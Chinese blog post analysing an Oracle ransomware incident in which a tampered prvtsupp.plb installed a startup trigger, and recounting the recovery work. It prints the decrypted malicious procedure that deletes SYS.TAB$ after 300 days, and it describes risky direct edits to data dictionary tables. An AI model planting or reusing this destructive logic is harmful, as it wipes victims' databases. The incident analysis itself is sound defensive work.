Oracle 比特幣勒索恢復 ORA-16703 方法

前幾天某客戶緊急求助我們,其Oracle數據庫由於重啓之後無法正常啓動。最後通過數據庫全備進行了一天一夜的恢復,最後仍然無法正常打開數據庫。alter database open時檢查發現數據庫報錯ORA-16703.

從用戶提供的信息來看,確實是在open resetlogs的時候出現的錯誤。那麼這個錯誤意味着什麼呢? 其實第一眼看到這個錯誤;我們就大概清楚這是Oracle的數據字典出問題了。 而且這通常是Oracle tab$。

接到這個case,我開始感覺是非常的奇怪。爲什麼客戶利用Oracle rman全備+歸檔進行恢復,然後open的時候居然報數據字典有問題呢?感覺有點匪夷所思。

這裏我們首先要做的是進行驗證,驗證什麼信息呢? 很簡單,確認tab$是否真的有問題。這裏其實有2種方法(第一是10046 trace跟蹤你會看到Oracle 遞歸SQL在訪問tab$時報錯、第二是直接通過工具讀取tab$的數據,看看是否正常)。

實際上這裏我首先通過10046 event跟蹤了一下,發現確實如此,爲了更加確認,我將system文件cp到文件系統,通過ODU 抽取了tab$的數據,發現居然是0 行。這說明什麼呢? 說明tab$ 的數據被人清空了?

我相信只有這一種解釋了。發現了問題,沒什麼用呀。我們需要儘快幫用戶恢復生產庫,恢復業務。這是關鍵。由於客戶之前的環境已經被人resetlogs了多次,因此不再適合繼續恢復了;首先我們通過全備進行了一次恢復,然後嘗試打開了數據庫。確實非常順利,但是遺憾的,不到1分鐘數據庫就宕機了,然後再次啓動就是報同樣的錯誤ORA-16073.

還好我此時多了一個心眼,open之前我先備份了system文件;此時再次通過odu抽取tab$的數據進行對比發現;open之前數據是存在的;open之後數據庫宕機,然後再次查看tab$數據爲0.

很明顯,問題出在open之後的一個極其短暫的時內。通常這種破壞操作都是通過存儲過程或者trigger等來進行;因此我嘗試通過odu抽取了obj$的信息。發現該數據庫再2017年9月2號凌晨創建了幾個特殊對象,猜測就是這個東西在搗鬼了。

這幾個dbms_support的對象明顯是有問題的。看來這個問題在1個月前就潛伏了,只是用戶沒有發覺而已。結合alert log分析判斷9月2號客戶應該是進行過數據庫升級操作,後面跟客戶確認也確實如此。

難道問題出在升級的環境? 問過當時升級的工程師,整個過程沒有任何問題,只是簡單的將數據庫從11.2.0.3升級到11.2.0.4。 想到這裏,問懷疑問題可能出現在Oracle軟件安裝包上。搜了一下Mos發現這個dbms_support對象在安裝升級過程運行?/rdbms/admin/prvtsupp.plb腳本產生的內容。 既然如此;那麼有沒有這個腳本被人動過手腳呢? strings 看了一下腳本內容,發現確實有問題。

如下是被惡意注入後的腳本:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

ora1>$strings /oracle/product/11.2.4/rdbms/admin/prvtsupp.plb

create or replace package body dbms_support wrapped

a000000

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

a60 422

xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf

rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk

XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ

T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8

bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop

/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB

wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe

dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF

2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3

3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1

9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA

O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn

qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx

yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0

eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=

create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped

a000000

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

166 17d

L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT

jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7

GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro

H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep

r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD

lUETCD2WIxfg3w==

PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER

create or replace trigger DBMS_SUPPORT_DBMONITOR

after startup on database

declare

begin

   DBMS_SUPPORT_DBMONITORP;

end;

ora1>$

如下是我的11.2.0.4環境的正常腳本內容:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

[oracle@killdb admin]$ strings /u01/app/oracle/product/11.2.0/dbhome_1/rdbms/admin/prvtsupp.plb

create or replace package body dbms_support wrapped

a000000

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

a60 422

xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf

rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk

XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ

T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8

bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop

/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB

wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe

dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF

2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3

3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1

9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA

O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn

qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx

yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0

eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=

我們可以清楚的看到,前面的大部分內容被篡改了。對於這個惡意攻擊腳本,我嘗試進行解密,但是沒有成功。 

後面研究了一下,稍微修改一下腳本,即可順利解密,解密出來的代碼如下所示:

 

1

2

3

4

5

6

7

8

9

10

11

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT :=10;

BEGIN

   SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=300) THEN

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';

   DELETE SYS.TAB$;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   END IF;

END;

注意、注意;禁止拿去搞破壞性動作!本站一概不負責!

對於Oracle自帶的這個正常的prvtsupp.plb的腳本,可以輕易解密:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

PACKAGE BODY dbms_support AS

 

  FUNCTION MYSID RETURN NUMBER IS

    L_SID NUMBER := 0;

  BEGIN

    

    SELECT SID INTO L_SID FROM V$MYSTAT

          WHERE ROWNUM = 1;

    RETURN(L_SID);

  END;

 

  FUNCTION PACKAGE_VERSION RETURN VARCHAR2 IS

  BEGIN

    RETURN('DBMS_SUPPORT Version 1.0 (17-Aug-1998)'||

           ' - Requires Oracle 7.2 - 8.0.5');

  END;

 

  FUNCTION CURRENT_SERIAL(L_SID IN NUMBER) RETURN NUMBER IS

    L_SERIAL NUMBER := 0;

  BEGIN

    SELECT SERIAL# INTO L_SERIAL

    FROM V$SESSION

    WHERE SID = L_SID;

    RETURN(L_SERIAL);

  EXCEPTION

    WHEN NO_DATA_FOUND THEN

      RAISE_APPLICATION_ERROR(-20000,

            'Current_Serial: SID '||L_SID||' does not exist');

  END;

 

  PROCEDURE VALIDATE_SID(L_SID    IN NUMBER,

                         L_SERIAL IN NUMBER) IS

    L_STATUS VARCHAR2(20);

  BEGIN

    SELECT STATUS INTO L_STATUS FROM V$SESSION

    WHERE SID = L_SID AND SERIAL# = L_SERIAL;

    IF L_STATUS = 'KILLED' THEN

      RAISE_APPLICATION_ERROR(-20000,

          'Validate_Sid: Session ('||L_SID||','||L_SERIAL||

          ') has been KILLED');

    END IF;

  EXCEPTION

    WHEN NO_DATA_FOUND THEN

      RAISE_APPLICATION_ERROR(-20000,

          'Validate_Sid: Session ('||L_SID||','||L_SERIAL||

          ') does not exist');

  END;

 

  PROCEDURE START_TRACE(WAITS IN BOOLEAN  DEFAULT TRUE,

                        BINDS IN BOOLEAN  DEFAULT FALSE) IS

  BEGIN

    START_TRACE_IN_SESSION(MYSID,0,WAITS,BINDS);

  END;

 

  PROCEDURE STOP_TRACE IS

  BEGIN

    STOP_TRACE_IN_SESSION(MYSID,0);

  END;

 

  PROCEDURE START_TRACE_IN_SESSION(SID    IN NUMBER,

                                   SERIAL IN NUMBER,

                                   WAITS  IN BOOLEAN  DEFAULT TRUE,

                                   BINDS  IN BOOLEAN  DEFAULT FALSE) IS

    L_LEVEL  NUMBER := 0;

    L_SID    NUMBER := SID;

    L_SERIAL NUMBER := SERIAL;

  BEGIN

    

    IF (SERIAL = 0 OR SERIAL IS NULL) THEN

        L_SERIAL := CURRENT_SERIAL(SID);

    END IF;

    VALIDATE_SID(L_SID, L_SERIAL);

    

    IF (WAITS AND BINDS) THEN

      L_LEVEL := 12;

    ELSIF (WAITS) THEN

      L_LEVEL := 8;

    ELSIF (BINDS) THEN

      L_LEVEL := 4;

    ELSE

      L_LEVEL := 1;

    END IF;

    

    DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, L_LEVEL, '');

  END;

 

  PROCEDURE STOP_TRACE_IN_SESSION(SID    IN NUMBER,

                                  SERIAL IN NUMBER) IS

    L_SID    NUMBER := SID;

    L_SERIAL NUMBER := SERIAL;

  BEGIN

    

    IF (SERIAL = 0 OR SERIAL IS NULL) THEN

        L_SERIAL := CURRENT_SERIAL(SID);

    END IF;

    VALIDATE_SID(L_SID, L_SERIAL);

    

    DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, 0, '');

  END;

END DBMS_SUPPORT;

 

那麼知道了問題的原因,如何處理呢? 這就不太難了。我嘗試用提前cp備份的system文件進行替換,然後推進scn順利打開了數據庫,打開之後,我離開進行了如下的操作。

 

1

2

3

4

5

alter system set "_system_trig_enabled"=false scope=both;

alter database open ;

drop TRIGGER DBMS_SUPPORT_DBMONITOR;

drop PROCEDURE DBMS_SUPPORT_DBMONITORP;

drop PACKAGE DBMS_SUPPORT;

這裏需要注意的是,對於這個隱含參數,建議open之前打開,可以起到類似將數據庫在upgrade模式下操作的效果(drop操作要夠快,最好是命令與open操作一起執行)。

事情到這裏還沒結束,可能是我操作不夠快還是怎麼到。最後dbmonitorp這個私活無法drop,會一直掛起。不過trigger被drop了,那麼只是問題不會再次觸發了,除非手工調用這個存儲過程。

最後客戶測試應用時,發現有將近10個表有問題,報錯ora-30732錯誤。這個錯誤本身來講不難處理,重建對象即可。問題是當我嘗試重建table時,發現session直接掛起。通過10046 event跟蹤session發現一直時row cache lock,如下所示:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

=====================

PARSING IN CURSOR #47076496818944 len=247 dep=0 uid=0 oct=1 lid=0 tim=1506947044194706 hv=2230672216 ad='18eb9ca910' sqlid='0cxwj6k2gaqus'

CREATE TABLE test.LIS_TES

END OF STMT

PARSE #47076496818944:c=2000,e=2011,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=1,plh=0,tim=1506947044194702

=====================

PARSING IN CURSOR #47076496812832 len=45 dep=1 uid=0 oct=3 lid=0 tim=1506947044195801 hv=3393782897 ad='18fce834e0' sqlid='9p6bq1v54k13j'

select value$ from sys.props$ where name = :1

END OF STMT

PARSE #47076496812832:c=1000,e=884,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=1506947044195800

BINDS #47076496812832:

Bind#0

  oacdty=01 mxl=32(22) mxlc=00 mal=00 scl=00 pre=00

  oacflg=10 fl2=0001 frm=01 csi=852 siz=32 off=0

  kxsbbbfp=2ad0d9dea2b8  bln=32  avl=22  flg=05

  value="GG_XSTREAM_FOR_STREAMS"

EXEC #47076496812832:c=1000,e=1304,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044197191

FETCH #47076496812832:c=0,e=65,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044197275

STAT #47076496812832 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=66 us cost=2 size=28 card=1)'

CLOSE #47076496812832:c=0,e=5,dep=1,type=0,tim=1506947044197363

=====================

PARSING IN CURSOR #47076497130448 len=70 dep=1 uid=0 oct=3 lid=0 tim=1506947044200836 hv=1853064805 ad='192c100d50' sqlid='5hrvvu1r771m5'

SELECT VALUE$ FROM SYS.PROPS$ WHERE NAME = 'OGG_TRIGGER_OPTIMIZATION'

END OF STMT

PARSE #47076497130448:c=2000,e=1513,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044200835

EXEC #47076497130448:c=0,e=19,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044200964

FETCH #47076497130448:c=0,e=24,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044201006

STAT #47076497130448 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=24 us cost=2 size=28 card=1)'

 

*** 2017-10-02 20:24:07.201

WAIT #47076496818944: nam='row cache lock' ela= 3000384 cache id=8 mode=0 request=3 obj#=-1 tim=1506947047201532

 

*** 2017-10-02 20:24:10.203

WAIT #47076496818944: nam='row cache lock' ela= 3001708 cache id=8 mode=0 request=3 obj#=-1 tim=1506947050203394

 

*** 2017-10-02 20:24:13.205

WAIT #47076496818944: nam='row cache lock' ela= 3001737 cache id=8 mode=0 request=3 obj#=-1 tim=1506947053205264

 

*** 2017-10-02 20:24:16.207

WAIT #47076496818944: nam='row cache lock' ela= 3001722 cache id=8 mode=0 request=3 obj#=-1 tim=1506947056207134

這確實有些怪異了。通過上面毒cahce id=12我們可以進一步定位到是數據庫的約束可能有問題,如下:

 

1

2

3

4

5

6

7

8

9

10

11

12

SQL> select cache#,cache_name,lock_mode,lock_request,saddr from v$rowcache_parent where lock_mode<>0;

 

    CACHE# CACHE_NAME                                                        LOCK_MODE LOCK_REQUEST SADDR

---------- ---------------------------------------------------------------- ---------- ------------ ----------------

         8 dc_objects                                                                5            0 0000001883325D60

         8 dc_objects                                                                5            0 0000001883325D60

         8 dc_objects                                                                5            0 0000001883325D60

         8 dc_objects                                                                5            0 0000001883325D60

        11 dc_objects                                                                5            0 0000001883325D60

        11 dc_objects                                                                5            0 0000001883325D60

        12 dc_constraints                                                            5            0 0000001883325D60

        12 dc_constraints                                                            5            0 0000001883325D60

 

約束有問題? 各位不要驚訝,這裏完全有可能,因爲數據庫是強制open的,可能有不一致的情況出現。爲了進行驗證,我創建一個不帶約束的table 發現確實ok,帶上not null的約束就hang住。

最後在自己的11.2.0.4的數據庫進行了簡單測試發現:

1、create table(帶約束的情況下)會如下幾個基表的操作,但是與約束有關係的,其實就con$,cdef$:

 

1

2

3

4

5

insert into con$(owner#,name,con#,spare1)values(:1,:2,:3,:4)

insert into tab$(obj#,ts#,file#,block#,bobj#,tab#,intcols,kernelcols,clucols,audit$,flags,pctfree$,pctused$,initrans,maxtrans,rowcnt,blkcnt,empcnt,avgspc,chncnt,avgrln,analyzetime,samplesize,cols,property,degree,instances,dataobj#,avgspc_flb,flbcnt,trigflag,spare1,spare6)values(:1,:2,:3,:4,decode(:5,0,null,:5),decode(:6,0,null,:6),:7,:8,decode(:9,0,null,:9),:10,:11,:12,:13,:14,:15,:16,:17,:18,:19,:20,:21,:22,:23,:24,:25,decode(:26,1,null,:26),decode(:27,1,null,:27),:28,:29,:30,:31,:32,:33)

insert into col$(obj#,name,intcol#,segcol#,type#,length,precision#,scale,null$,offset,fixedstorage,segcollength,deflength,default$,col#,property,charsetid,charsetform,spare1,spare2,spare3)values(:1,:2,:3,:4,:5,:6,decode(:5,182/*DTYIYM*/,:7,183/*DTYIDS*/,:7,decode(:7,0,null,:7)),decode(:5,2,decode(:8,-127/*MAXSB1MINAL*/,null,:8),178,:8,179,:8,180,:8,181,:8,182,:8,183,:8,231,:8,null),:9,0,:10,:11,decode(:12,0,null,:12),:13,:14,:15,:16,:17,:18,:19,:20)

insert into ccol$(con#,obj#,intcol#,pos#,col#,spare1) values(:1,:2,:3,decode(:4,0,null,:4),:5, :6)

insert into cdef$(obj#,con#,type#,intcols,condlength,condition,robj#,rcon#,match#,refact,enabled,cols,defer,mtime,spare1,spare2,spare3)values(:1,:2,:3,decode(:4,0,null,:4),decode(:5,0,null,:5),:6,decode(:7,0,null,:7),decode(:8,0,null,:8),decode(:9,0,null,:9),decode(:10,0,null,:10), decode(:11,0,null,:11),:12, decode(:13,0,null,:13),:14,:15,:16,:17)

2、創建約束時Oracle會以_next_constraint 的con# 值爲當前所能搞創建成功的約束的con#;該值必須比con$.max(con#)要大。 其實只要大於即可。

根據類似的思路我對客戶這套數據庫進行了簡單檢查,發現數據字典確實有問題,如下:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

SQL> select /*+full(con$) */ con# from con$

  2  minus

  3  select /*+full(cdef$) */ con# from cdef$

  4  /

 

      CON#

----------

    144216

 

SQL> select /*+full(cdef$) */ con# from cdef$ minus

  2  select /*+full(con$) */ con# from con$;

 

no rows selected

 

 

 

SQL> select /*+index(cdef$ I_CDEF1) */ con# from cdef$ minus

  2  select /*+INDEX(con$ I_CON2) */ con# from con$;

 

      CON#

----------

    144217

    144218

    144219

    144220

    144221

    144222

    144223

    144224

    144225

    144226

    144227

    144228

    144229

 

13 rows selected.

 

++++index

 

select /*+index(cdef$ I_CDEF1) */ con# from cdef$ order by 1;

 

      CON#

----------

    144171

    144192

    144193

    144216

    144217

    144218

    144219

    144220

    144221

    144222

    144223

    144224

    144225

    144226

    144227

    144228

    144229

 

 

 

+++table

select /*+full(cdef$) */ con# from cdef$ order by 1;

 

      CON#

----------

    144086

    144087

    144088

    144089

    144090

    144091

    144092

    144093

    144094

    144095

    144096

    144171

    144192

    144193

 

 

+++con$   index

 

select /*+INDEX(con$ I_CON2) */ con# from con$ order by 1 ;

 

      CON#

----------

    144171

    144192

    144193

    144216

 

file 67 block 69150

 

 

+++con$  table

select /*+full(con$) */ con# from con$ order by 1 ;

 

      CON#

----------

    144171

    144192

    144193

    144216

    .....

    144228

con$的記錄均包含了cdef$。因此這裏我們不需要太關注cdef$。

首先我們來說con$:

由於其i_con2這個唯一索引中最大值是144216,因此我們需要將表中con# >144216 的記錄全部標記爲刪除;

其次對於cdef$:

由於cdef$中con# 最大記錄是144193,因此需要將其索引I_CDEF1中的con# > 144193的鍵值全部標記爲刪除。

這裏我們通過bbed 修復了上述對應的一些data block和Index Block,但是創建table 時發現還是hang住。難道哪個地方沒有修改對嗎?

由於我的測試環境的情況是需要_next_constraint 能夠正常工作,按理說都是ok的。那麼問題出現在什麼的地方呢?

這裏我們先嚐試來查看一條正常的記錄,例如con#=144193:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id,

  2  dbms_rowid.rowid_block_number(rowid) block_id

  3          from con$  where con#=144193

  4  /

 

ROWID                 FILE_ID   BLOCK_ID

------------------ ---------- ----------

AAAAAcAABAAAc+PABI          1     118671

 

SQL> select rowid,

  2          dbms_rowid.rowid_object(rowid) object_id,

  3          dbms_rowid.rowid_relative_fno(rowid) file_id,

  4          dbms_rowid.rowid_block_number(rowid) block_id,

  5          dbms_rowid.rowid_row_number(rowid) num

  6  from con$  where con#=144193;

 

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID        NUM

------------------ ---------- ---------- ---------- ----------

AAAAAcAABAAAc+PABI         28          1     118671         72

大家可以看到,dba地址和行號都應該是對應起來的(這裏我沒有顯示行號).

我們再來看看異常的這條數據:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

SQL> select rowid,

  2          dbms_rowid.rowid_object(rowid) object_id,

  3          dbms_rowid.rowid_relative_fno(rowid) file_id,

  4          dbms_rowid.rowid_block_number(rowid) block_id,

  5          dbms_rowid.rowid_row_number(rowid) num

  6  from con$  where con#=144216;

 

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID        NUM

------------------ ---------- ---------- ---------- ----------

AAAAAcAABAAAc+PAAS         28          1     118671         18

 

 

SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id,

  2  dbms_rowid.rowid_block_number(rowid) block_id

  3          from con$  where con#=144216

  4  /

 

ROWID                 FILE_ID   BLOCK_ID

------------------ ---------- ----------

AAAAAcAABAAAAEhAAM          1        289

 

很明顯,rdba地址都不匹配呀(注意:前面基於rowid的查詢,不加hint的情況下,走的是Index 掃描)。以爲這裏將rdba修改爲file 1 block 289 就ok了,發現還是不行。爲什麼呢? 這裏給自己挖了一個坑。後面再次查詢發現行號其實也不匹配,正常應該對應第12行,實際這裏錯誤的對應到18行了。如下是該數據塊的dump情況:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

—file 1 block 289  dump

 

tl: 29 fb: --H-FL-- lb: 0x0  cc: 4

col  0: [ 1]  80

col  1: [16]  5f 4e 45 58 54 5f 43 4f 4e 53 54 52 41 49 4e 54

col  2: [ 4]  c3 0f 2b 11

col  3: [ 1]  80

tab 0, row 13, @0x1e92

 

www.killdb.com@select dump(144216,16) from dual;

 

Typ=2 Len=4: c3,f,2b,11

 

www.killdb.com@

www.killdb.com@select  dump('_NEXT_CONSTRAINT',16) from dual;

 

Typ=96 Len=16: 5f,4e,45,58,54,5f,43,4f,4e,53,54,52,41,49,4e,54

看來這確實是我們需要的這條數據,非常珍貴的一條數據呀。當最後將index block中的行號也修改爲一致時,再次測試發現就ok了。不過我這裏還是直接將該條記錄delete條了,然後插入一條新的記錄(有些人會說,這裏如果不修改能否delete呢?其實不行的,delete會報錯):

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

SQL> delete from con$ where con#=144216;

 

1 row deleted.

 

SQL> commit;

 

Commit complete.

 

SQL> insert into con$ values(0,'_NEXT_CONSTRAINT',144236,0,'','','','','');

 

1 row created.

 

SQL> commit;

 

Commit complete.

 

SQL> select /*+INDEX(con$ I_CON2) */rowid,

  2          dbms_rowid.rowid_object(rowid) object_id,

  3          dbms_rowid.rowid_relative_fno(rowid) file_id,

  4          dbms_rowid.rowid_block_number(rowid) block_id,

  5          dbms_rowid.rowid_row_number(rowid) num_5

  6  from con$  where con#=144236;

 

 

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID      NUM_5

------------------ ---------- ---------- ---------- ----------

AAAAAcAABAAAc+PAAS         28          1     118671         18

 

SQL> SQL>

SQL> select /*+full(con$) */ rowid,

  2          dbms_rowid.rowid_object(rowid) object_id,

  3          dbms_rowid.rowid_relative_fno(rowid) file_id,

  4          dbms_rowid.rowid_block_number(rowid) block_id,

  5          dbms_rowid.rowid_row_number(rowid) num_5

  6          from con$  where con#=144236;

 

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID      NUM_5

------------------ ---------- ---------- ---------- ----------

AAAAAcAABAAAc+PAAS         28          1     118671         18

 

SQL> conn test/test

Connected.

SQL> create table tt_con(id number not null);

 

Table created.

整個恢復過程其實要比這個複雜一些,省略了一些步驟,不過基本上差不了太多。大家將就看喏~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章